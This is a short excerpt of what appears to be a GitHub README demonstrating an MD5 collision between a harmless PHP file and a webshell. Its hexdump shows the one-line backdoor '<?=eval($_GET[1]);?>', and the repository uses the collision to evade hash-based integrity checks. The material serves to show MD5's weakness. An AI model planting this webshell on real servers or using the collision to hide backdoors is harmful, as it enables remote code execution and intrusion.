GitHub Repository Contains Two PHP Files with Identical MD5 Hashes: One Normal, One Webshell

GitHub - phith0n/collision-webshell: A webshell and a normal file that have the same MD5

READMEWebshell Collision This repository contains 2 files that have the same MD5 hash: webshell.php normal.php MD5 for the files: $ md5sum *.php b719a17ae091ed45fb874c15b2d9663f normal.php b719a17ae091ed45fb874c15b2d9663f webshell.php Hexdump for the webshell.php: $ hexdump -C webshell.php 00000000 3c 3f 3d 65 76 61 6c 28 24 5f 47 45 54 5b 31 5d |<?=eval($_GET[1]| 00000010 29 3b 3f 3e 3d 62 84 11 01 75 d3 4d eb 80 93 de |);?>=b...u.M....| 00000020 31 c1 d9 30 45 fb be 1e 71 f0 0a 63 75...